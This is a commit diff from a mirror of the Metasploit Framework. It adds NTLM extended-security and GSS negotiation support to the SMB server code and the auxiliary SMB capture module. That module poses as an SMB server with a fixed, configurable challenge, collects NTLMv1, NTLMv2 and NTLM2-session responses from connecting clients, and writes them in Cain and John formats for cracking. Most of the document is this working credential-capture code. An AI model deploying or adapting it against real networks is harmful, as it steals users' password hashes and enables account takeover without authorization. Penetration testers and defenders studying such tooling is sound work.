1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-11-05 14:57:30 +01:00

Merge code from Alexandre Maloteaux, fixes #3615

git-svn-id: file:///home/svn/framework3/trunk@11678 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
HD Moore 2011-01-30 19:26:35 +00:00
parent de7ad3f111
commit ac651fba6b
6 changed files with 1439 additions and 242 deletions

View File

@ -1,6 +1,7 @@
require 'rex/proto/smb'
require 'rex/proto/dcerpc'
require 'rex/encoder/ndr'
require 'net/ntlm'
module Msf
@ -20,6 +21,7 @@ module Exploit::Remote::SMB
XCEPT = Rex::Proto::SMB::Exceptions
CONST = Rex::Proto::SMB::Constants
# Alias over the Rex DCERPC protocol modules
DCERPCPacket = Rex::Proto::DCERPC::Packet
DCERPCClient = Rex::Proto::DCERPC::Client
@ -622,6 +624,7 @@ module Exploit::Remote::SMBServer
UTILS = ::Rex::Proto::SMB::Utils
XCEPT = ::Rex::Proto::SMB::Exceptions
EVADE = ::Rex::Proto::SMB::Evasions
NTLM = Net::NTLM
def initialize(info = {})
super
@ -736,6 +739,24 @@ module Exploit::Remote::SMBServer
pkt['Payload']['SMB'].v['MultiplexID'] = smb[:multiplex_id].to_i
end
def smb_error(cmd, c, errorclass, esn = false)
# 0xc0000022 = Deny
# 0xc000006D = Logon_Failure
# 0x00000000 = Ignore
pkt = CONST::SMB_BASE_PKT.make_struct
smb_set_defaults(c, pkt)
pkt['Payload']['SMB'].v['Command'] = cmd
pkt['Payload']['SMB'].v['Flags1'] = 0x88
if esn
pkt['Payload']['SMB'].v['Flags2'] = 0xc801
else
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
end
pkt['Payload']['SMB'].v['ErrorClass'] = errorclass
c.put(pkt.to_s)
end
end

View File

@ -136,8 +136,9 @@ module Net #:nodoc:
}
end
def lm_hash(password)
keys = gen_keys password.upcase.ljust(14, "\0")
def lm_hash(password, half = false)
if half then size = 7 else size = 14 end
keys = gen_keys password.upcase.ljust(size, "\0")
apply_des(LM_MAGIC, keys).join
end
@ -149,9 +150,10 @@ module Net #:nodoc:
OpenSSL::Digest::MD4.digest pwd
end
def ntlmv2_hash(user, password, target, opt={})
def ntlmv2_hash(user, password, domain, opt={})
ntlmhash = ntlm_hash(password, opt)
userdomain = (user + target).upcase
#With Win 7 and maybe other OSs i sometimes get my domain not uppercased, so the domain does not always need to be in uppercase
userdomain = user.upcase + domain
unless opt[:unicode]
userdomain = encode_utf16le(userdomain)
end
@ -159,7 +161,7 @@ module Net #:nodoc:
end
# responses
def lm_response(arg)
def lm_response(arg, half = false)
begin
hash = arg[:lm_hash]
chal = arg[:challenge]
@ -167,14 +169,15 @@ module Net #:nodoc:
raise ArgumentError
end
chal = NTL::pack_int64le(chal) if chal.is_a?(Integer)
keys = gen_keys hash.ljust(21, "\0")
if half then size = 7 else size = 21 end
keys = gen_keys hash.ljust(size, "\0")
apply_des(chal, keys).join
end
def ntlm_response(arg)
hash = arg[:ntlm_hash]
chal = arg[:challenge]
chal = NTL::pack_int64le(chal) if chal.is_a?(Integer)
chal = NTL::pack_int64le(chal) if chal.is_a?(::Integer)
keys = gen_keys hash.ljust(21, "\0")
apply_des(chal, keys).join
end
@ -183,18 +186,27 @@ module Net #:nodoc:
begin
key = arg[:ntlmv2_hash]
chal = arg[:challenge]
rescue
raise ArgumentError , 'ntlmv2_hash and challenge are mandatory'
end
chal = NTL::pack_int64le(chal) if chal.is_a?(::Integer)
if opt[:nt_client_challenge]
unless opt[:nt_client_challenge].is_a?(::String) && opt[:nt_client_challenge].length > 24
raise ArgumentError,"nt_client_challenge is not in a correct format "
end
bb = opt[:nt_client_challenge]
else
begin
ti = arg[:target_info]
rescue
raise ArgumentError
raise ArgumentError, "target_info is mandatory in this case"
end
chal = NTL::pack_int64le(chal) if chal.is_a?(Integer)
if opt[:client_challenge]
cc = opt[:client_challenge]
else
cc = rand(MAX64)
end
cc = NTLM::pack_int64le(cc) if cc.is_a?(Integer)
cc = NTLM::pack_int64le(cc) if cc.is_a?(::Integer)
if opt[:timestamp]
ts = opt[:timestamp]
@ -210,21 +222,24 @@ module Net #:nodoc:
blob.target_info = ti
bb = blob.serialize
OpenSSL::HMAC.digest(OpenSSL::Digest::MD5.new, key, chal + bb) + bb
end
OpenSSL::HMAC.digest(OpenSSL::Digest::MD5.new, key, chal + bb) + bb
end
def lmv2_response(arg, opt = {})
key = arg[:ntlmv2_hash]
chal = arg[:challenge]
chal = NTLM::pack_int64le(chal) if chal.is_a?(Integer)
chal = NTLM::pack_int64le(chal) if chal.is_a?(::Integer)
if opt[:client_challenge]
cc = opt[:client_challenge]
else
cc = rand(MAX64)
end
cc = NTLM::pack_int64le(cc) if cc.is_a?(Integer)
cc = NTLM::pack_int64le(cc) if cc.is_a?(::Integer)
OpenSSL::HMAC.digest(OpenSSL::Digest::MD5.new, key, chal + cc) + cc
end

View File

@ -102,7 +102,10 @@ SMB2_OP_GETINFO = 0x10
SMB2_OP_SETINFO = 0x11
SMB2_OP_BREAK = 0x12
# NTLM Response Type
NTLM_V1_RESPONSE = 1
NTLM_V2_RESPONSE = 2
NTLM_2_SESSION_RESPONSE = 3
# SMB_COM_NT_TRANSACT Subcommands
NT_TRANSACT_CREATE = 1 # File open/create
NT_TRANSACT_IOCTL = 2 # Device IOCTL
@ -263,7 +266,11 @@ FILE_VOLUME_IS_COMPRESSED = 0x00008000
# SMB Error Codes
SMB_STATUS_SUCCESS = 0x00000000
SMB_ERROR_BUFFER_OVERFLOW = 0x80000005
SMB_STATUS_MORE_PROCESSING_REQUIRED = 0xC0000016
SMB_STATUS_ACCESS_DENIED = 0xC0000022
SMB_STATUS_LOGON_FAILURE = 0xC000006D
# SMB Dialect Compatibility
DIALECT = {}
@ -548,7 +555,7 @@ SMB_SETUP_NTLMV1_HDR_PKT = Rex::Struct2::CStructTemplate.new(
SMB_SETUP_NTLMV1_PKT = self.make_nbs(SMB_SETUP_NTLMV1_HDR_PKT)
# A SMB template for SMB Session Setup requests (NTLMV2)
# A SMB template for SMB Session Setup requests (When extended security is being used)
SMB_SETUP_NTLMV2_HDR_PKT = Rex::Struct2::CStructTemplate.new(
[ 'template', 'SMB', SMB_HDR ],
[ 'uint8', 'AndX', 0 ],
@ -569,7 +576,7 @@ SMB_SETUP_NTLMV2_HDR_PKT = Rex::Struct2::CStructTemplate.new(
SMB_SETUP_NTLMV2_PKT = self.make_nbs(SMB_SETUP_NTLMV2_HDR_PKT)
# A SMB template for SMB Session Setup responses (NTLMV2)
# A SMB template for SMB Session Setup responses (When extended security is being used)
SMB_SETUP_NTLMV2_RES_HDR_PKT = Rex::Struct2::CStructTemplate.new(
[ 'template', 'SMB', SMB_HDR ],
[ 'uint8', 'AndX', 0 ],

View File

@ -164,6 +164,7 @@ CONST = Rex::Proto::SMB::Constants
return blob
end
def self.make_ntlmv2_secblob_auth(domain, name, user, lmv2, ntlm, flags = 0x080201)
lmv2 ||= "\x00" * 24
@ -234,8 +235,42 @@ CONST = Rex::Proto::SMB::Constants
)
return blob
end
#This function will create a GSS Sec blob compatible for SMB_NEGOCIATE_RESPONSE packet of this kind :
#mechTypes: 2 items :
# -MechType: 1.3.6.1.4.1.311.2.2.30 (SNMPv2-SMI::enterprises.311.2.2.30)
# -MechType: 1.3.6.1.4.1.311.2.2.10 (NTLMSSP - Microsoft NTLM Security Support Provider)
#
#this is the default on Win7
def self.make_simple_negotiate_secblob_resp
blob =
"\x60" + self.asn1encode(
"\x06" + self.asn1encode(
"\x2b\x06\x01\x05\x05\x02"
) +
"\xa0" + self.asn1encode(
"\x30" + self.asn1encode(
"\xa0" + self.asn1encode(
"\x30" + self.asn1encode(
"\x06" + self.asn1encode(
"\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"
)
)
)
)
)
)
return blob
end
#This function will create a GSS Sec blob compatible for SMB_NEGOCIATE_RESPONSE packet of this kind :
#mechTypes: 4 items :
# MechType: 1.2.840.48018.1.2.2 (MS KRB5 - Microsoft Kerberos 5)
# MechType: 1.2.840.113554.1.2.2 (KRB5 - Kerberos 5)
# MechType: 1.2.840.113554.1.2.2.3 (KRB5 - Kerberos 5 - User to User)
# MechType: 1.3.6.1.4.1.311.2.2.10 (NTLMSSP - Microsoft NTLM Security Support Provider)
#mechListMIC:
# principal: account@domain
def self.make_negotiate_secblob_resp(account, domain)
blob =
"\x60" + self.asn1encode(
@ -276,22 +311,8 @@ CONST = Rex::Proto::SMB::Constants
return blob
end
def self.make_ntlmv2_secblob_chall(win_domain, dns_domain, win_name, dns_name, chall, flags)
def self.make_ntlmv2_secblob_chall(win_domain, win_name, dns_domain, dns_name, chall, flags)
win_domain = Rex::Text.to_unicode(win_domain)
dns_domain = Rex::Text.to_unicode(dns_domain)
win_name = Rex::Text.to_unicode(win_name)
dns_name = Rex::Text.to_unicode(dns_name)
addr_list = ''
addr_list << [2, win_domain.length].pack('vv') + win_domain
addr_list << [1, win_name.length].pack('vv') + win_name
addr_list << [4, dns_domain.length].pack('vv') + dns_domain
addr_list << [3, dns_name.length].pack('vv') + dns_name
addr_list << [5, dns_domain.length].pack('vv') + dns_domain
addr_list << [0, 0].pack('vv')
ptr = 0
blob =
"\xa1" + self.asn1encode(
"\x30" + self.asn1encode(
@ -307,12 +328,31 @@ CONST = Rex::Proto::SMB::Constants
) +
"\xa2" + self.asn1encode(
"\x04" + self.asn1encode(
"NTLMSSP\x00" +
make_ntlm_type2_blob(win_domain, win_name, dns_domain, dns_name, chall, flags)
)
)
)
)
return blob
end
def self.make_ntlm_type2_blob(win_domain, win_name, dns_domain, dns_name, chall, flags)
addr_list = ''
addr_list << [2, win_domain.length].pack('vv') + win_domain
addr_list << [1, win_name.length].pack('vv') + win_name
addr_list << [4, dns_domain.length].pack('vv') + dns_domain
addr_list << [3, dns_name.length].pack('vv') + dns_name
addr_list << [0, 0].pack('vv')
ptr = 0
blob = "NTLMSSP\x00" +
[2].pack('V') +
[
win_domain.length, # length
win_domain.length, # max length
(ptr += 48)
(ptr += 48) # offset
].pack('vvV') +
[ flags ].pack('V') +
chall +
@ -324,14 +364,11 @@ CONST = Rex::Proto::SMB::Constants
].pack('vvV') +
win_domain +
addr_list
)
)
)
)
return blob
end
def self.make_ntlmv2_secblob_success
blob =
"\xa1" + self.asn1encode(

View File

@ -25,9 +25,10 @@ class Metasploit3 < Msf::Auxiliary
'Description' => %q{
This module provides a SMB service that can be used to
capture the challenge-response password hashes of SMB client
systems. All responses sent by this service have the same
hardcoded challenge string (\x11\x22\x33\x44\x55\x66\x77\x88),
allowing for easy cracking using Cain & Abel or L0phtcrack.
systems. Responses sent by this service have by default the
configurable challenge string (\x11\x22\x33\x44\x55\x66\x77\x88),
allowing for easy cracking using Cain & Abel, L0phtcrack
or John the ripper (with jumbo patch).
To exploit this, the target system must try to authenticate
to this module. The easiest way to force a SMB authentication attempt
@ -53,63 +54,99 @@ class Metasploit3 < Msf::Auxiliary
register_options(
[
OptString.new('LOGFILE', [ false, "The local filename to store the captured hashes", nil ]),
OptString.new('PWFILE', [ false, "The local filename to store the hashes in Cain&Abel format", nil ]),
OptString.new('CAINPWFILE', [ false, "The local filename to store the hashes in Cain&Abel format", nil ]),
OptString.new('JOHNPWFILE', [ false, "The prefix to the local filename to store the hashes in JOHN format", nil ]),
OptString.new('CHALLENGE', [ true, "The 8 byte challenge ", "1122334455667788" ])
], self.class )
register_advanced_options(
[
OptBool.new("SMB_EXTENDED_SECURITY", [ true, "Use smb extended security negociation", false ]),
OptBool.new("NTLM_EXTENDED_SECURITY", [ true, "Use ntlm extended security when smb extended security is set", false ]),
OptBool.new("USE_GSS_NEGOCIATION", [ true, "Send an gss_security blob in smb_negociate response when smb extended security is set", false ]),
OptString.new('DOMAIN_NAME', [ true, "The domain name used during smb exchange with smb extended security set ", "anonymous" ])
], self.class)
end
def run
@s_smb_esn = datastore['SMB_EXTENDED_SECURITY']
@s_ntlm_esn = datastore['NTLM_EXTENDED_SECURITY']
@s_gss_neg = datastore['USE_GSS_NEGOCIATION']
@domain_name = datastore['DOMAIN_NAME']
@s_GUID = [Rex::Text.rand_text_hex(32)].pack('H*')
if datastore['CHALLENGE'].to_s =~ /^([a-fA-F0-9]{16})$/
@challenge = [ datastore['CHALLENGE'] ].pack("H*")
else
print_error("CHALLENGE syntax must match 0011223344556677")
print_error("CHALLENGE syntax must match 1122334455667788")
return
end
#those variables will prevent to spam the screen with identical hashes (works only with ntlmv1)
@previous_lm_hash="none"
@previous_ntlm_hash="none"
exploit()
end
def smb_cmd_dispatch(cmd, c, buff)
smb = @state[c]
pkt = CONST::SMB_BASE_PKT.make_struct
pkt.from_s(buff)
#Record the IDs
smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID']
smb[:user_id] = pkt['Payload']['SMB'].v['UserID']
smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID']
smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID']
case cmd
when CONST::SMB_COM_NEGOTIATE
smb_cmd_negotiate(c, buff)
#client set extended security negociation
if (pkt['Payload']['SMB'].v['Flags2'] & 0x800 != 0)
smb_cmd_negotiate(c, buff, true)
else
smb_cmd_negotiate(c, buff, false)
end
when CONST::SMB_COM_SESSION_SETUP_ANDX
smb_cmd_session_setup(c, buff)
wordcount = pkt['Payload']['SMB'].v['WordCount']
#CIFS SMB_COM_SESSION_SETUP_ANDX request without smb extended security
#This packet contains the lm/ntlm hashes
if wordcount == 0x0D
smb_cmd_session_setup(c, buff, false)
#CIFS SMB_COM_SESSION_SETUP_ANDX request with smb extended security
# can be of type NTLMSS_NEGOCIATE or NTLMSSP_AUTH,
elsif wordcount == 0x0C
smb_cmd_session_setup(c, buff, true)
else
print_status("Unknow SMB_COM_SESSION_SETUP_ANDX request type , ignoring... ")
smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS, @s_smb_esn)
end
when CONST::SMB_COM_TREE_CONNECT
print_status("Denying tree connect from #{smb[:name]}")
pkt = CONST::SMB_BASE_PKT.make_struct
pkt['Payload']['SMB'].v['Command'] = cmd
pkt['Payload']['SMB'].v['Flags1'] = 0x88
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
pkt['Payload']['SMB'].v['ErrorClass'] = 0xc0000022
c.put(pkt.to_s)
smb_error(cmd, c, SMB_SMB_STATUS_ACCESS_DENIED, @s_smb_esn)
else
print_status("Ignoring request from #{smb[:name]} (#{cmd})")
pkt = CONST::SMB_BASE_PKT.make_struct
pkt['Payload']['SMB'].v['Command'] = cmd
pkt['Payload']['SMB'].v['Flags1'] = 0x88
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
pkt['Payload']['SMB'].v['ErrorClass'] = 0
c.put(pkt.to_s)
smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS, @s_smb_esn)
end
end
def smb_cmd_negotiate(c, buff)
def smb_cmd_negotiate(c, buff, c_esn)
smb = @state[c]
pkt = CONST::SMB_NEG_PKT.make_struct
pkt.from_s(buff)
# Record the remote process ID
#Record the IDs
smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID']
smb[:user_id] = pkt['Payload']['SMB'].v['UserID']
smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID']
smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID']
# The hardcoded challenge value
challenge = @challenge
group = ''
machine = smb[:nbsrc]
@ -128,7 +165,6 @@ class Metasploit3 < Msf::Auxiliary
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NEGOTIATE
pkt['Payload']['SMB'].v['Flags1'] = 0x88
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
pkt['Payload']['SMB'].v['WordCount'] = 17
pkt['Payload'].v['Dialect'] = dialect
pkt['Payload'].v['SecurityMode'] = 3
@ -136,38 +172,219 @@ class Metasploit3 < Msf::Auxiliary
pkt['Payload'].v['MaxVCS'] = 1
pkt['Payload'].v['MaxBuff'] = 4356
pkt['Payload'].v['MaxRaw'] = 65536
pkt['Payload'].v['Capabilities'] = 0xe3fd # 0x80000000 for extended
pkt['Payload'].v['ServerTime'] = time_lo
pkt['Payload'].v['ServerDate'] = time_hi
pkt['Payload'].v['Timezone'] = 0x0
pkt['Payload'].v['SystemTimeLow'] = time_lo
pkt['Payload'].v['SystemTimeHigh'] = time_hi
pkt['Payload'].v['ServerTimeZone'] = 0x0
pkt['Payload'].v['SessionKey'] = 0
pkt['Payload'].v['KeyLength'] = 8
pkt['Payload'].v['Payload'] =
challenge +
if c_esn && @s_smb_esn then
pkt['Payload']['SMB'].v['Flags2'] = 0xc801
pkt['Payload'].v['Capabilities'] = 0x8000e3fd
pkt['Payload'].v['KeyLength'] = 0
pkt['Payload'].v['Payload'] = @s_GUID
if @s_gss_neg then
pkt['Payload'].v['Payload'] += UTILS::make_simple_negotiate_secblob_resp
end
else
pkt['Payload']['SMB'].v['Flags2'] = 0xc001
pkt['Payload'].v['Capabilities'] = 0xe3fd
pkt['Payload'].v['KeyLength'] = 8
pkt['Payload'].v['Payload'] = @challenge +
Rex::Text.to_unicode(group) + "\x00\x00" +
Rex::Text.to_unicode(machine) + "\x00\x00"
end
c.put(pkt.to_s)
end
def smb_cmd_session_setup(c, buff)
def smb_cmd_session_setup(c, buff, esn)
smb = @state[c]
pkt = CONST::SMB_SETUP_NTLMV1_PKT.make_struct
#extended security has been negociated
if esn
pkt = CONST::SMB_SETUP_NTLMV2_PKT.make_struct
pkt.from_s(buff)
#Record the IDs
smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID']
smb[:user_id] = pkt['Payload']['SMB'].v['UserID']
smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID']
smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID']
securityblobLen = pkt['Payload'].v['SecurityBlobLen']
blob = pkt['Payload'].v['Payload'][0,securityblobLen]
#detect if GSS is being used
if blob[0,7] == 'NTLMSSP'
c_gss = false
else
c_gss = true
start = blob.index('NTLMSSP')
if start
blob.slice!(0,start)
else
print_status("Error finding NTLM in SMB_COM_SESSION_SETUP_ANDX request from #{smb[:name]}, ignoring ...")
smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
return
end
end
ntlm_message = NTLM::Message.parse(blob)
case ntlm_message
when NTLM::Message::Type1
#Send Session Setup AndX Response NTLMSSP_CHALLENGE response packet
if (ntlm_message.flag & CONST::NEGOTIATE_NTLM2_KEY != 0)
c_ntlm_esn = true
else
c_ntlm_esn = false
end
pkt = CONST::SMB_SETUP_NTLMV2_RES_PKT.make_struct
pkt.from_s(buff)
smb_set_defaults(c, pkt)
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX
pkt['Payload']['SMB'].v['ErrorClass'] = CONST::SMB_STATUS_MORE_PROCESSING_REQUIRED
pkt['Payload']['SMB'].v['Flags1'] = 0x88
pkt['Payload']['SMB'].v['Flags2'] = 0xc807
pkt['Payload']['SMB'].v['WordCount'] = 4
pkt['Payload']['SMB'].v['UserID'] = 2050
pkt['Payload'].v['AndX'] = 0xFF
pkt['Payload'].v['Reserved1'] = 0x00
pkt['Payload'].v['AndXOffset'] = 283 #ignored by client
pkt['Payload'].v['Action'] = 0x0000
win_domain = Rex::Text.to_unicode(@domain_name.upcase)
win_name = Rex::Text.to_unicode(@domain_name.upcase)
dns_domain = Rex::Text.to_unicode(@domain_name.downcase)
dns_name = Rex::Text.to_unicode(@domain_name.downcase)
#create the ntlmssp_challenge security blob
if c_ntlm_esn && @s_ntlm_esn
sb_flag = 0xe28a8215 # ntlm2
else
sb_flag = 0xe2828215 #no ntlm2
end
if c_gss
securityblob = UTILS::make_ntlmv2_secblob_chall( win_domain,
win_name,
dns_domain,
dns_name,
@challenge,
sb_flag)
else
securityblob = UTILS::make_ntlm_type2_blob( win_domain,
win_name,
dns_domain,
dns_name,
@challenge,
sb_flag)
end
pkt['Payload'].v['SecurityBlobLen'] = securityblob.length
pkt['Payload'].v['Payload'] = securityblob
c.put(pkt.to_s)
when NTLM::Message::Type3
#we can process the hash and send a status_logon_failure response packet
# Record the remote multiplex ID
smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID']
lm_len = ntlm_message.lm_response.length # Always 24
nt_len = ntlm_message.ntlm_response.length
lm_len = pkt['Payload'].v['PasswordLenLM']
if nt_len == 24 #lmv1/ntlmv1 or ntlm2_session
arg = { :ntlm_ver => CONST::NTLM_V1_RESPONSE,
:lm_hash => ntlm_message.lm_response.unpack('H*')[0],
:nt_hash => ntlm_message.ntlm_response.unpack('H*')[0]
}
if @s_ntlm_esn && arg[:lm_hash][16,32] == '0' * 32
arg[:ntlm_ver] = CONST::NTLM_2_SESSION_RESPONSE
end
#if the length of the ntlm response is not 24 then it will be bigger and represent
# a ntlmv2 response
elsif nt_len > 24 #lmv2/ntlmv2
arg = { :ntlm_ver => CONST::NTLM_V2_RESPONSE,
:lm_hash => ntlm_message.lm_response[0, 16].unpack('H*')[0],
:lm_cli_challenge => ntlm_message.lm_response[16, 8].unpack('H*')[0],
:nt_hash => ntlm_message.ntlm_response[0, 16].unpack('H*')[0],
:nt_cli_challenge => ntlm_message.ntlm_response[16, nt_len - 16].unpack('H*')[0]
}
elsif nt_len == 0
print_status("Empty hash from #{smb[:name]} captured, ignoring ... ")
smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
return
else
print_status("Unknow hash type from #{smb[:name]}, ignoring ...")
smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
return
end
buff = pkt['Payload'].v['Payload']
buff.slice!(0,securityblobLen)
names = buff.split("\x00\x00").map { |x| x.gsub(/\x00/, '') }
smb[:username] = ntlm_message.user
smb[:domain] = ntlm_message.domain
smb[:peer_os] = names[0]
smb[:peer_lm] = names[1]
begin
smb_get_hash(smb,arg)
rescue ::Exception => e
print_status("Error processing Hash from #{smb[:name]} (#{cmd}): #{e.class} #{e} #{e.backtrace}")
end
smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
else
smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
end
#if not we can get the hash and send a status_access_denied response packet
else
pkt = CONST::SMB_SETUP_NTLMV1_PKT.make_struct
pkt.from_s(buff)
# Record the IDs
smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID']
smb[:user_id] = pkt['Payload']['SMB'].v['UserID']
smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID']
smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID']
lm_len = pkt['Payload'].v['PasswordLenLM'] # Always 24
nt_len = pkt['Payload'].v['PasswordLenNT']
lm_hash = pkt['Payload'].v['Payload'][0, lm_len].unpack("H*")[0]
nt_hash = pkt['Payload'].v['Payload'][lm_len, nt_len].unpack("H*")[0]
if nt_len == 24
arg = { :ntlm_ver => CONST::NTLM_V1_RESPONSE,
:lm_hash => pkt['Payload'].v['Payload'][0, lm_len].unpack("H*")[0],
:nt_hash => pkt['Payload'].v['Payload'][lm_len, nt_len].unpack("H*")[0]
}
#if the length of the ntlm response is not 24 then it will be bigger and represent
# a ntlmv2 response
elsif nt_len > 24
arg = { :ntlm_ver => CONST::NTLM_V2_RESPONSE,
:lm_hash => pkt['Payload'].v['Payload'][0, 16].unpack("H*")[0],
:lm_cli_challenge => pkt['Payload'].v['Payload'][16, 8].unpack("H*")[0],
:nt_hash => pkt['Payload'].v['Payload'][lm_len, 16].unpack("H*")[0],
:nt_cli_challenge => pkt['Payload'].v['Payload'][lm_len + 16, nt_len - 16].unpack("H*")[0]
}
elsif nt_len == 0
print_status("Empty hash captured from #{smb[:name]} captured, ignoring ... ")
smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
return
else
print_status("Unknow hash type capture from #{smb[:name]}, ignoring ...")
smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
return
end
buff = pkt['Payload'].v['Payload']
buff.slice!(0, lm_len + nt_len)
@ -178,6 +395,30 @@ class Metasploit3 < Msf::Auxiliary
smb[:peer_os] = names[2]
smb[:peer_lm] = names[3]
begin
smb_get_hash(smb,arg)
rescue ::Exception => e
print_status("Error processing Hash from #{smb[:name]} (#{cmd}): #{e.class} #{e} #{e.backtrace}")
end
smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
end
end
def smb_get_hash(smb,arg = {})
ntlm_ver = arg[:ntlm_ver]
if ntlm_ver == CONST::NTLM_V1_RESPONSE or ntlm_ver == CONST::NTLM_2_SESSION_RESPONSE
lm_hash = arg[:lm_hash]
nt_hash = arg[:nt_hash]
else
lm_hash = arg[:lm_hash]
nt_hash = arg[:nt_hash]
lm_cli_challenge = arg[:lm_cli_challenge]
nt_cli_challenge = arg[:nt_cli_challenge]
end
# Clean up the data for loggging
if (smb[:username] == "")
@ -194,26 +435,58 @@ class Metasploit3 < Msf::Auxiliary
smb[:fullname] = smb[:username].to_s
end
if (lm_hash == "52d536dbcefa63b9101f9c7a9d0743882f85252cc731bb25" or lm_hash == "" or lm_hash == "00")
lm_hash = nil
unless @previous_lm_hash == lm_hash and @previous_ntlm_hash == nt_hash then
@previous_lm_hash = lm_hash
@previous_ntlm_hash = nt_hash
#TODO: check if the hash crrespond to an empty password
if ntlm_ver == CONST::NTLM_V1_RESPONSE and (lm_hash == nt_hash or lm_hash == "" or lm_hash =~ /^0*$/ ) then
lm_hash_message = "Disabled"
elsif ntlm_ver == CONST::NTLM_V2_RESPONSE and lm_hash == '0' * 32 and lm_cli_challenge == '0' * 16
lm_hash_message = "Disabled"
lm_chall_message = 'Disabled'
else
lm_hash_message = lm_hash
lm_chall_message = lm_cli_challenge
end
if (nt_hash == "eefabc742621a883aec4b24e0f7fbf05e17dc2880abe07cc" or nt_hash == "")
nt_hash = nil
capturedtime = Time.now.to_s
case ntlm_ver
when CONST::NTLM_V1_RESPONSE
capturelogmessage =
"#{capturedtime}\nNTLMv1 Response Captured from #{smb[:name]} \n" +
"#{smb[:domain]}\\#{smb[:username]} OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}\n" +
"LMHASH:#{lm_hash_message ? lm_hash_message : "<NULL>"} \nNTHASH:#{nt_hash ? nt_hash : "<NULL>"}\n"
when CONST::NTLM_V2_RESPONSE
capturelogmessage =
"#{capturedtime}\nNTLMv2 Response Captured from #{smb[:name]} \n" +
"#{smb[:domain]}\\#{smb[:username]} OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}\n" +
"LMHASH:#{lm_hash_message ? lm_hash_message : "<NULL>"} " +
"LM_CLIENT_CHALLENGE:#{lm_chall_message ? lm_chall_message : "<NULL>"}\n" +
"NTHASH:#{nt_hash ? nt_hash : "<NULL>"} " +
"NT_CLIENT_CHALLENGE:#{nt_cli_challenge ? nt_cli_challenge : "<NULL>"}\n"
when CONST::NTLM_2_SESSION_RESPONSE
capturelogmessage =
"#{capturedtime}\nNTLM2_SESSION Response Captured from #{smb[:name]} \n" +
"#{smb[:domain]}\\#{smb[:username]} OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}\n" +
"NTHASH:#{nt_hash ? nt_hash : "<NULL>"}\n" +
"NT_CLIENT_CHALLENGE:#{lm_hash_message ? lm_hash_message[0,16] : "<NULL>"} \n"
else # should not happen
return
end
print_status(
"Captured #{smb[:name]} #{smb[:domain]}\\#{smb[:username]} " +
"LMHASH:#{lm_hash ? lm_hash : "<NULL>"} NTHASH:#{nt_hash ? nt_hash : "<NULL>"} " +
"OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}"
)
print_status(capturelogmessage)
report_auth_info(
:host => smb[:ip],
:port => datastore['SRVPORT'],
:sname => 'smb_challenge',
:user => smb[:fullname],
:pass => ( nt_hash ? nt_hash : "<NULL>" ) + ":" + (lm_hash ? lm_hash : "<NULL>" ),
:pass => ( lm_hash + lm_cli_challenge.to_s ? lm_hash + lm_cli_challenge.to_s : "<NULL>" ) + ":" +
( nt_hash + nt_cli_challenge.to_s ? nt_hash + nt_cli_challenge.to_s : "<NULL>" ) + ":" +
datastore['CHALLENGE'].to_s,
:type => "smb_hash",
:proof => "NAME=#{smb[:nbsrc]} DOMAIN=#{smb[:domain]} OS=#{smb[:peer_os]}",
:active => true
@ -239,47 +512,70 @@ class Metasploit3 < Msf::Auxiliary
if(datastore['LOGFILE'])
fd = File.open(datastore['LOGFILE'], "ab")
fd.puts(
[
smb[:nbsrc],
smb[:ip],
smb[:username] ? smb[:username] : "<NULL>",
smb[:domain] ? smb[:domain] : "<NULL>",
smb[:peer_os],
nt_hash ? nt_hash : "<NULL>",
lm_hash ? lm_hash : "<NULL>",
Time.now.to_s
].join(":").gsub(/\n/, "\\n")
)
fd.close
File.open(datastore['LOGFILE'], "ab") {|fd| fd.puts(capturelogmessage + "\n")}
end
if(datastore['PWFILE'] and smb[:username] and lm_hash)
fd = File.open(datastore['PWFILE'], "ab")
if(datastore['CAINPWFILE'] and smb[:username])
if ntlm_ver == CONST::NTLM_V1_RESPONSE then
fd = File.open(datastore['CAINPWFILE'], "ab")
fd.puts(
[
smb[:username],
smb[:domain] ? smb[:domain] : "NULL",
@challenge.unpack("H*")[0],
lm_hash ? lm_hash : "0" * 32,
nt_hash ? nt_hash : "0" * 32
lm_hash ? lm_hash : "0" * 48,
nt_hash ? nt_hash : "0" * 48
